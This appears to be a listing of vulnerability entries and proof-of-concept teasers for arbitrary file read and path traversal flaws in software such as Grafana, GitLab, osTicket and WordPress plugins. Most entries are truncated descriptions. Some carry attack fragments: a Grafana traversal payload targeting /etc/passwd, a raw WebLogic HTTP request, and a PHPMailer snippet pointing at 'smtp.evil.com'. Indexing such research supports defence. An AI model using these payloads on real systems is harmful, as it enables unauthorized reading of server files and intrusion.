Reposilite >= 3.3.0, < 3.5.12 - Arbitrary File Read

Reposilite is an open source, lightweight and easy-to-use repository manager for Maven based artifacts in JVM ecosystem. Reposilite v3.5.10 is affected by an Arbitrary File Read vulnerability via path traversal while serving expanded javadoc files. Reposilite has addressed this issue in version...

Blinko <= 1.8.3 - Path Traversal via /plugins

Blinko = 1.8.3 contains a path traversal caused by improper path concatenation without verification in the plugin file server endpoint, letting remote attackers access arbitrary files, exploit requires network access. id: CVE-2026-23483 info: name: Blinko = 1.8.3 - Path Traversal via /plugins...

osTicket - Arbitrary File Read

Enhancesoft osTicket versions 1.18.x prior to 1.18.3 and 1.17.x prior to 1.17.7 contain an arbitrary file read vulnerability in the ticket PDF export functionality. A remote attacker can submit a ticket containing crafted rich-text HTML that includes PHP filter expressions which are insufficientl...

TinaCMS - Path Traversal

TinaCMS CLI 2.1.8 contains a file system read vulnerability caused by disabled Vite server.fs.strict setting, letting unauthenticated attackers read arbitrary files on the host system, exploit requires access to the dev server. id: CVE-2026-29066 info: name: TinaCMS - Path Traversal author:...

Feast Feature Server <=0.58.0 - Arbitrary File Read

Feast the open-source Feature Store Feature Server through 0.58.0 exposes an unauthenticated POST /read-document endpoint that reads an arbitrary, caller-supplied file path with no authentication and no path validation. The readdocumentendpoint handler passes the JSON filepath field straight to...

GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read

GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or...

Frappe Framework < 16.15.0 - Arbitrary File Read via render_include Path Traversal

Frappe is a full-stack web application framework. Versions prior to 15.105.0 and 16.15.0 contain a possible Arbitrary File Read vulnerability via Path Traversal. The issue is resolved in versions 16.15.0, 15.105.0 and above. id: CVE-2026-39352 info: name: Frappe Framework 16.15.0 - Arbitrary File...

W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read

W3 Total Cache WordPress plugin = 2.9.4 contains a directory traversal caused by improper handling in setupSources function, letting unauthenticated attackers read arbitrary files, exploit requires manual minify mode enabled with specific filename. id: CVE-2026-9282 info: name: W3 Total Cache =...

CVE-2019-2615

CVE-2019-2615 GET /beawlsmanagementinternal2/wlmanagement HTTP/1.1 Host: 192.168.5.137:7001 User-Agent: Mozilla/5.0 Windows NT 6.1; Win64; x64; rv:66.0 Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encodin...

CVE-2025-2539

CVE-2025-2539 PoC Unauthenticated Arbitrary File Read exploit for WordPress File Away Plugin ≤ 3.9.9.0.1 📖 Description This Python script is a proof-of-concept PoC exploit for CVE-2025-2539 , targeting a vulnerability in the WordPress File Away Plugin ≤ 3.9.9.0.1. The vulnerability allows...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2025-24104

CVE-2025-24104 Writeup: Reading Files Out-of-Sandbox I reported a bug that Apple later tracked as CVE-2025-24104. In my original report, I demonstrated how a malicious backup could be used to bypass sandbox restrictions. However, Apple’s initial description stated that this vulnerability could le...

CVE-2021-43798-Grafana

CVE-2021-43798 Grafana Arbitrary File Read 1. Installation root@kitploit: pip3 install -r requirements.txt 2. Usage root@kitploit: $ python3 grafana.py -h / | \ \ / / | | | \ / \ | \ / | | || | | / | | / \ | | \ \ / / | | | | | | | | | | | || | | \ / / | | / \ | | \ V / | | || / / | || | / / | |...

CVE-2021-43798-grafana_fileread

CVE-2021-43798-grafanafileread 如果对象经过反向代理处理，可以将payload替换成这条 root@kitploit: url1 = url +"/public/plugins/"+str.rstripplugins+"//../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd" Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。 Grafana...

CVE-2023-4698

CVE-2023-4698 Local File Inclusion LFI in usememos/memos 0.13.2 Description Today, I want to shine a spotlight on a significant discovery — a critical security vulnerability that has been identified in usememos/memos. This vulnerability, which falls under the category of Local File Inclusion LFI,...

CVE-2024-23334-PoC

CVE-2024-23334-PoC A proof of concept of the LFI vulnerability on aiohttp 3.9.1. The option 'followsymlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'followsymlinks' is set to True, there is no validation to check if reading a file is with...

CVE-2025-27817

Disclaimer: The vulnerabilities and reproduction steps described in this document are for cybersecurity research and educational purposes only. No one may use the information provided in this document for illegal purposes or unauthorized system testing. The author assumes no liability for any...

UPnPHostFileRead

Description Local arbitrary file read PoC exploit for the Windows UPnP Device Host service. Reads an arbitrary file in the context of LOCAL SERVICE. Tested against Windows 11 Pro build 26200.8457. Reported to Microsoft. Assessed as "not a vulnerability". How to Build 1. Clone the repository. 2...

CVE-2025-52688

CVE-2025-52688 Affected Products Alcatel AP13161 - Enterprise WIFI access point Summary There are 2 main vulnerabilities being addressed here: Lack of input sanization on multiple JSON web parameters that allows malicious characters such as ; to be injected to caused a command injection attack La...

checker-CVE-2020-5902

Checker CVE-2020-5902 Checker CVE-2020-5902: BIG-IP versions 15.0.0 through 15.1.0.3, 14.1.0 through 14.1.2.5, 13.1.0 through 13.1.3.3, 12.1.0 through 12.1.5.1, and 11.6.1 through 11.6.5.1 suffer from Traffic Management User Interface TMUI arbitrary file read and command execution vulnerabilities...